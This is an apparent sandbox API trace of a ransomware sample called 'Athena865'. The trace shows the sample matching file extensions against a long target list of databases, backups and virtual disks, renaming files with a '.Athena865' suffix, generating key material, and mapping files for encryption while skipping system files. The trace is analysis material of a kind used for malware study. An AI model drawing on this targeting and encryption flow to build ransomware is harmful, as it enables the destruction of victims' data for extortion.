[0097.782] lstrlenW (lpString="fp7") returned 3 [0097.782] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0097.782] lstrlenW (lpString="fpt") returned 3 [0097.782] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0097.782] lstrlenW (lpString="frm") returned 3 [0097.782] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0097.782] lstrlenW (lpString="gdb") returned 3 [0097.782] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0097.782] lstrlenW (lpString="gdb") returned 3 [0097.782] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0097.782] lstrlenW (lpString="grdb") returned 4 [0097.782] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0097.782] lstrlenW (lpString="gwi") returned 3 [0097.782] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0097.782] lstrlenW (lpString="hdb") returned 3 [0097.782] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0097.782] lstrlenW (lpString="his") returned 3 [0097.782] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0097.782] lstrlenW (lpString="ib") returned 2 [0097.782] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0097.782] lstrlenW (lpString="idb") returned 3 [0097.782] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0097.782] lstrlenW (lpString="ihx") returned 3 [0097.783] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0097.783] lstrlenW (lpString="itdb") returned 4 [0097.783] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0097.783] lstrlenW (lpString="itw") returned 3 [0097.783] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0097.784] lstrlenW (lpString="jet") returned 3 [0097.785] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0097.786] lstrlenW (lpString="jtx") returned 3 [0097.786] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0097.786] lstrlenW (lpString="kdb") returned 3 [0097.786] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0097.786] lstrlenW (lpString="kexi") returned 4 [0097.786] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0097.786] lstrlenW (lpString="kexic") returned 5 [0097.786] lstrcmpiW (lpString1="g.dll", lpString2="kexic") returned -1 [0097.786] lstrlenW (lpString="kexis") returned 5 [0097.786] lstrcmpiW (lpString1="g.dll", lpString2="kexis") returned -1 [0097.786] lstrlenW (lpString="lgc") returned 3 [0097.786] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0097.786] lstrlenW (lpString="lwx") returned 3 [0097.786] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0097.786] lstrlenW (lpString="maf") returned 3 [0097.786] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0097.786] lstrlenW (lpString="maq") returned 3 [0097.786] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0097.786] lstrlenW (lpString="mar") returned 3 [0097.786] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0097.787] lstrlenW (lpString="marshal") returned 7 [0097.787] lstrcmpiW (lpString1="fig.dll", lpString2="marshal") returned -1 [0097.787] lstrlenW (lpString="mas") returned 3 [0097.787] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0097.787] lstrlenW (lpString="mav") returned 3 [0097.787] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0097.787] lstrlenW (lpString="maw") returned 3 [0097.787] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0097.787] lstrlenW (lpString="mdbhtml") returned 7 [0097.787] lstrcmpiW (lpString1="fig.dll", lpString2="mdbhtml") returned -1 [0097.787] lstrlenW (lpString="mdn") returned 3 [0097.787] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0097.787] lstrlenW (lpString="mdt") returned 3 [0097.787] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0097.787] lstrlenW (lpString="mfd") returned 3 [0097.787] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0097.787] lstrlenW (lpString="mpd") returned 3 [0097.787] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0097.787] lstrlenW (lpString="mrg") returned 3 [0097.787] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0097.787] lstrlenW (lpString="mud") returned 3 [0097.787] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0097.787] lstrlenW (lpString="mwb") returned 3 [0097.787] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0097.787] lstrlenW (lpString="myd") returned 3 [0097.787] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0097.787] lstrlenW (lpString="ndf") returned 3 [0097.787] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0097.787] lstrlenW (lpString="nnt") returned 3 [0097.787] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0097.787] lstrlenW (lpString="nrmlib") returned 6 [0097.788] lstrcmpiW (lpString1="ig.dll", lpString2="nrmlib") returned -1 [0097.788] lstrlenW (lpString="ns2") returned 3 [0097.788] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0097.788] lstrlenW (lpString="ns3") returned 3 [0097.788] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0097.788] lstrlenW (lpString="ns4") returned 3 [0097.788] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0097.788] lstrlenW (lpString="nsf") returned 3 [0097.788] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0097.788] lstrlenW (lpString="nv") returned 2 [0097.788] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0097.788] lstrlenW (lpString="nv2") returned 3 [0097.788] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0097.788] lstrlenW (lpString="nwdb") returned 4 [0097.788] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0097.788] lstrlenW (lpString="nyf") returned 3 [0097.788] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0097.788] lstrlenW (lpString="odb") returned 3 [0097.788] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0097.788] lstrlenW (lpString="odb") returned 3 [0097.788] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0097.788] lstrlenW (lpString="oqy") returned 3 [0097.788] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0097.788] lstrlenW (lpString="ora") returned 3 [0097.788] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0097.788] lstrlenW (lpString="orx") returned 3 [0097.788] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0097.788] lstrlenW (lpString="owc") returned 3 [0097.788] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0097.788] lstrlenW (lpString="p96") returned 3 [0097.788] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0097.789] lstrlenW (lpString="p97") returned 3 [0097.789] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0097.789] lstrlenW (lpString="pan") returned 3 [0097.789] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0097.789] lstrlenW (lpString="pdb") returned 3 [0097.789] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0097.789] lstrlenW (lpString="pdm") returned 3 [0097.789] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0097.789] lstrlenW (lpString="pnz") returned 3 [0097.789] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0097.789] lstrlenW (lpString="qry") returned 3 [0097.789] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0097.789] lstrlenW (lpString="qvd") returned 3 [0097.789] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0097.789] lstrlenW (lpString="rbf") returned 3 [0097.789] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0097.789] lstrlenW (lpString="rctd") returned 4 [0097.789] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0097.789] lstrlenW (lpString="rod") returned 3 [0097.789] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0097.789] lstrlenW (lpString="rodx") returned 4 [0097.789] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0097.789] lstrlenW (lpString="rpd") returned 3 [0097.789] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0097.789] lstrlenW (lpString="rsd") returned 3 [0097.789] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0097.789] lstrlenW (lpString="sas7bdat") returned 8 [0097.789] lstrcmpiW (lpString1="nfig.dll", lpString2="sas7bdat") returned -1 [0097.789] lstrlenW (lpString="sbf") returned 3 [0097.789] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0097.789] lstrlenW (lpString="scx") returned 3 [0097.790] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0097.790] lstrlenW (lpString="sdb") returned 3 [0097.790] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0097.790] lstrlenW (lpString="sdc") returned 3 [0097.790] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0097.790] lstrlenW (lpString="sdf") returned 3 [0097.790] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0097.790] lstrlenW (lpString="sis") returned 3 [0097.790] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0097.790] lstrlenW (lpString="spq") returned 3 [0097.790] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0097.790] lstrlenW (lpString="te") returned 2 [0097.790] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0097.790] lstrlenW (lpString="teacher") returned 7 [0097.790] lstrcmpiW (lpString1="fig.dll", lpString2="teacher") returned -1 [0097.790] lstrlenW (lpString="tmd") returned 3 [0097.790] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0097.790] lstrlenW (lpString="tps") returned 3 [0097.790] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0097.790] lstrlenW (lpString="trc") returned 3 [0097.790] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0097.790] lstrlenW (lpString="trc") returned 3 [0097.790] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0097.790] lstrlenW (lpString="trm") returned 3 [0097.790] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0097.790] lstrlenW (lpString="udb") returned 3 [0097.790] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0097.790] lstrlenW (lpString="udl") returned 3 [0097.790] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0097.790] lstrlenW (lpString="usr") returned 3 [0097.790] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0097.791] lstrlenW (lpString="v12") returned 3 [0097.791] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0097.791] lstrlenW (lpString="vis") returned 3 [0097.791] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0097.791] lstrlenW (lpString="vpd") returned 3 [0097.791] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0097.791] lstrlenW (lpString="vvv") returned 3 [0097.791] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0097.791] lstrlenW (lpString="wdb") returned 3 [0097.791] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0097.791] lstrlenW (lpString="wmdb") returned 4 [0097.791] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0097.791] lstrlenW (lpString="wrk") returned 3 [0097.791] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0097.791] lstrlenW (lpString="xdb") returned 3 [0097.791] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0097.791] lstrlenW (lpString="xld") returned 3 [0097.791] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0097.791] lstrlenW (lpString="xmlff") returned 5 [0097.791] lstrcmpiW (lpString1="g.dll", lpString2="xmlff") returned -1 [0097.791] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\ProgramData\\Microsoft\\IdentityCRL\\ppcrlconfig.dll.Athena865") returned 62 [0097.791] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Microsoft\\IdentityCRL\\ppcrlconfig.dll" (normalized: "c:\\programdata\\microsoft\\identitycrl\\ppcrlconfig.dll"), lpNewFileName="C:\\ProgramData\\Microsoft\\IdentityCRL\\ppcrlconfig.dll.Athena865" (normalized: "c:\\programdata\\microsoft\\identitycrl\\ppcrlconfig.dll.athena865"), dwFlags=0x1) returned 1 [0097.792] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\IdentityCRL\\ppcrlconfig.dll.Athena865" (normalized: "c:\\programdata\\microsoft\\identitycrl\\ppcrlconfig.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0097.793] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=15616) returned 1 [0097.793] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0097.793] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5397e8 [0097.793] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519ff8 [0097.793] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a080) returned 1 [0097.794] CryptGenRandom (in: hProv=0x51a080, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0097.794] CryptReleaseContext (hProv=0x51a080, dwFlags=0x0) returned 1 [0097.794] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4000, lpName=0x0) returned 0x154 [0097.796] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4000) returned 0x100000 [0097.797] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a080) returned 1 [0097.798] CryptGenRandom (in: hProv=0x51a080, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0097.798] CryptReleaseContext (hProv=0x51a080, dwFlags=0x0) returned 1 [0097.798] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539860 [0097.798] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539860 | out: hHeap=0x4f0000) returned 1 [0097.798] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x53edd0 [0097.799] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0097.799] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53edd0 | out: hHeap=0x4f0000) returned 1 [0097.799] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0097.799] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x53edd0 [0097.799] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0097.799] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53edd0 | out: hHeap=0x4f0000) returned 1 [0097.799] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0097.799] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0097.799] CloseHandle (hObject=0x154) returned 1 [0097.799] CloseHandle (hObject=0x17c) returned 1 [0097.799] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5397e8 | out: hHeap=0x4f0000) returned 1 [0097.799] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519ff8 | out: hHeap=0x4f0000) returned 1 [0097.799] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0097.800] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd582ef5d, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xd582ef5d, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x6ac4ff3f, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3e108, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ppcrlui.dll", cAlternateFileName="")) returned 1 [0097.800] lstrcmpiW (lpString1="ppcrlui.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0097.800] lstrcmpiW (lpString1="ppcrlui.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.800] lstrcmpiW (lpString1="ppcrlui.dll", lpString2=".") returned 1 [0097.800] lstrcmpiW (lpString1="ppcrlui.dll", lpString2="..") returned 1 [0097.800] lstrcmpiW (lpString1="ppcrlui.dll", lpString2="windows") returned -1 [0097.800] lstrcmpiW (lpString1="ppcrlui.dll", lpString2="bootmgr") returned 1 [0097.800] lstrcmpiW (lpString1="ppcrlui.dll", lpString2="temp") returned -1 [0097.800] lstrcmpiW (lpString1="ppcrlui.dll", lpString2="pagefile.sys") returned 1 [0097.800] lstrcmpiW (lpString1="ppcrlui.dll", lpString2="boot") returned 1 [0097.800] lstrcmpiW (lpString1="ppcrlui.dll", lpString2="ids.txt") returned 1 [0097.800] lstrcmpiW (lpString1="ppcrlui.dll", lpString2="ntuser.dat") returned 1 [0097.800] lstrcmpiW (lpString1="ppcrlui.dll", lpString2="perflogs") returned 1 [0097.800] lstrcmpiW (lpString1="ppcrlui.dll", lpString2="MSBuild") returned 1 [0097.800] lstrlenW (lpString="ppcrlui.dll") returned 11 [0097.800] lstrcpyW (in: lpString1=0x241e892, lpString2="ppcrlui.dll" | out: lpString1="ppcrlui.dll") returned="ppcrlui.dll" [0097.800] lstrlenW (lpString="ppcrlui.dll") returned 11 [0097.800] lstrlenW (lpString="Athena865") returned 9 [0097.800] lstrcmpiW (lpString1="crlui.dll", lpString2="Athena865") returned 1 [0097.800] lstrlenW (lpString=".dll") returned 4 [0097.800] lstrcmpiW (lpString1="ppcrlui.dll", lpString2=".dll") returned 1 [0097.800] lstrlenW (lpString=".lnk") returned 4 [0097.800] lstrcmpiW (lpString1="ppcrlui.dll", lpString2=".lnk") returned 1 [0097.800] lstrlenW (lpString=".ini") returned 4 [0097.800] lstrcmpiW (lpString1="ppcrlui.dll", lpString2=".ini") returned 1 [0097.801] lstrlenW (lpString=".sys") returned 4 [0097.801] lstrcmpiW (lpString1="ppcrlui.dll", lpString2=".sys") returned 1 [0097.801] lstrlenW (lpString="ppcrlui.dll") returned 11 [0097.801] lstrlenW (lpString="bak") returned 3 [0097.801] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0097.801] lstrlenW (lpString="ba_") returned 3 [0097.801] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0097.801] lstrlenW (lpString="dbb") returned 3 [0097.801] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0097.801] lstrlenW (lpString="vmdk") returned 4 [0097.801] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0097.801] lstrlenW (lpString="rar") returned 3 [0097.801] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0097.801] lstrlenW (lpString="zip") returned 3 [0097.801] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0097.801] lstrlenW (lpString="tgz") returned 3 [0097.801] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0097.801] lstrlenW (lpString="vbox") returned 4 [0097.801] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0097.801] lstrlenW (lpString="vdi") returned 3 [0097.801] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0097.801] lstrlenW (lpString="vhd") returned 3 [0097.801] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0097.801] lstrlenW (lpString="vhdx") returned 4 [0097.801] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0097.801] lstrlenW (lpString="avhd") returned 4 [0097.801] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0097.801] lstrlenW (lpString="db") returned 2 [0097.801] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0097.801] lstrlenW (lpString="db2") returned 3 [0097.801] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0097.802] lstrlenW (lpString="db3") returned 3 [0097.802] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0097.802] lstrlenW (lpString="dbf") returned 3 [0097.802] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0097.802] lstrlenW (lpString="mdf") returned 3 [0097.802] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0097.802] lstrlenW (lpString="mdb") returned 3 [0097.802] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0097.802] lstrlenW (lpString="sql") returned 3 [0097.802] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0097.802] lstrlenW (lpString="sqlite") returned 6 [0097.802] lstrcmpiW (lpString1="ui.dll", lpString2="sqlite") returned 1 [0097.802] lstrlenW (lpString="sqlite3") returned 7 [0097.802] lstrcmpiW (lpString1="lui.dll", lpString2="sqlite3") returned -1 [0097.802] lstrlenW (lpString="sqlitedb") returned 8 [0097.802] lstrcmpiW (lpString1="rlui.dll", lpString2="sqlitedb") returned -1 [0097.802] lstrlenW (lpString="xml") returned 3 [0097.802] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0097.802] lstrlenW (lpString="$er") returned 3 [0097.802] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0097.802] lstrlenW (lpString="4dd") returned 3 [0097.802] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0097.802] lstrlenW (lpString="4dl") returned 3 [0097.802] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0097.802] lstrlenW (lpString="^^^") returned 3 [0097.802] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0097.802] lstrlenW (lpString="abs") returned 3 [0097.802] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0097.802] lstrlenW (lpString="abx") returned 3 [0097.802] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0097.802] lstrlenW (lpString="accdb") returned 5 [0097.803] lstrcmpiW (lpString1="i.dll", lpString2="accdb") returned 1 [0097.803] lstrlenW (lpString="accdc") returned 5 [0097.803] lstrcmpiW (lpString1="i.dll", lpString2="accdc") returned 1 [0097.803] lstrlenW (lpString="accde") returned 5 [0097.803] lstrcmpiW (lpString1="i.dll", lpString2="accde") returned 1 [0097.803] lstrlenW (lpString="accdr") returned 5 [0097.803] lstrcmpiW (lpString1="i.dll", lpString2="accdr") returned 1 [0097.803] lstrlenW (lpString="accdt") returned 5 [0097.803] lstrcmpiW (lpString1="i.dll", lpString2="accdt") returned 1 [0097.803] lstrlenW (lpString="accdw") returned 5 [0097.803] lstrcmpiW (lpString1="i.dll", lpString2="accdw") returned 1 [0097.803] lstrlenW (lpString="accft") returned 5 [0097.803] lstrcmpiW (lpString1="i.dll", lpString2="accft") returned 1 [0097.803] lstrlenW (lpString="adb") returned 3 [0097.803] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0097.803] lstrlenW (lpString="adb") returned 3 [0097.803] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0097.803] lstrlenW (lpString="ade") returned 3 [0097.803] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0097.803] lstrlenW (lpString="adf") returned 3 [0097.803] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0097.803] lstrlenW (lpString="adn") returned 3 [0097.803] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0097.803] lstrlenW (lpString="adp") returned 3 [0097.803] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0097.803] lstrlenW (lpString="alf") returned 3 [0097.803] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0097.803] lstrlenW (lpString="ask") returned 3 [0097.803] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0097.803] lstrlenW (lpString="btr") returned 3 [0097.803] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0097.804] lstrlenW (lpString="cat") returned 3 [0097.804] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0097.804] lstrlenW (lpString="cdb") returned 3 [0097.804] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0097.804] lstrlenW (lpString="ckp") returned 3 [0097.804] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0097.804] lstrlenW (lpString="cma") returned 3 [0097.804] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0097.804] lstrlenW (lpString="cpd") returned 3 [0097.804] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0097.804] lstrlenW (lpString="dacpac") returned 6 [0097.804] lstrcmpiW (lpString1="ui.dll", lpString2="dacpac") returned 1 [0097.804] lstrlenW (lpString="dad") returned 3 [0097.804] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0097.804] lstrlenW (lpString="dadiagrams") returned 10 [0097.804] lstrcmpiW (lpString1="pcrlui.dll", lpString2="dadiagrams") returned 1 [0097.804] lstrlenW (lpString="daschema") returned 8 [0097.804] lstrcmpiW (lpString1="rlui.dll", lpString2="daschema") returned 1 [0097.804] lstrlenW (lpString="db-journal") returned 10 [0097.804] lstrcmpiW (lpString1="pcrlui.dll", lpString2="db-journal") returned 1 [0097.804] lstrlenW (lpString="db-shm") returned 6 [0097.804] lstrcmpiW (lpString1="ui.dll", lpString2="db-shm") returned 1 [0097.804] lstrlenW (lpString="db-wal") returned 6 [0097.804] lstrcmpiW (lpString1="ui.dll", lpString2="db-wal") returned 1 [0097.804] lstrlenW (lpString="dbc") returned 3 [0097.804] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0097.804] lstrlenW (lpString="dbs") returned 3 [0097.804] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0097.804] lstrlenW (lpString="dbt") returned 3 [0097.804] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0097.804] lstrlenW (lpString="dbv") returned 3 [0097.805] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0097.805] lstrlenW (lpString="dbx") returned 3 [0097.805] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0097.805] lstrlenW (lpString="dcb") returned 3 [0097.805] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0097.805] lstrlenW (lpString="dct") returned 3 [0097.805] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0097.805] lstrlenW (lpString="dcx") returned 3 [0097.805] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0097.805] lstrlenW (lpString="ddl") returned 3 [0097.805] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0097.805] lstrlenW (lpString="dlis") returned 4 [0097.805] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0097.805] lstrlenW (lpString="dp1") returned 3 [0097.805] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0097.805] lstrlenW (lpString="dqy") returned 3 [0097.805] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0097.805] lstrlenW (lpString="dsk") returned 3 [0097.805] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0097.805] lstrlenW (lpString="dsn") returned 3 [0097.805] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0097.805] lstrlenW (lpString="dtsx") returned 4 [0097.805] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0097.805] lstrlenW (lpString="dxl") returned 3 [0097.805] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0097.805] lstrlenW (lpString="eco") returned 3 [0097.805] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0097.805] lstrlenW (lpString="ecx") returned 3 [0097.805] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0097.805] lstrlenW (lpString="edb") returned 3 [0097.805] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0097.806] lstrlenW (lpString="epim") returned 4 [0097.806] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0097.806] lstrlenW (lpString="fcd") returned 3 [0097.806] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0097.806] lstrlenW (lpString="fdb") returned 3 [0097.806] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0097.806] lstrlenW (lpString="fic") returned 3 [0097.806] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0097.806] lstrlenW (lpString="flexolibrary") returned 12 [0097.806] lstrlenW (lpString="fm5") returned 3 [0097.806] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0097.806] lstrlenW (lpString="fmp") returned 3 [0097.806] 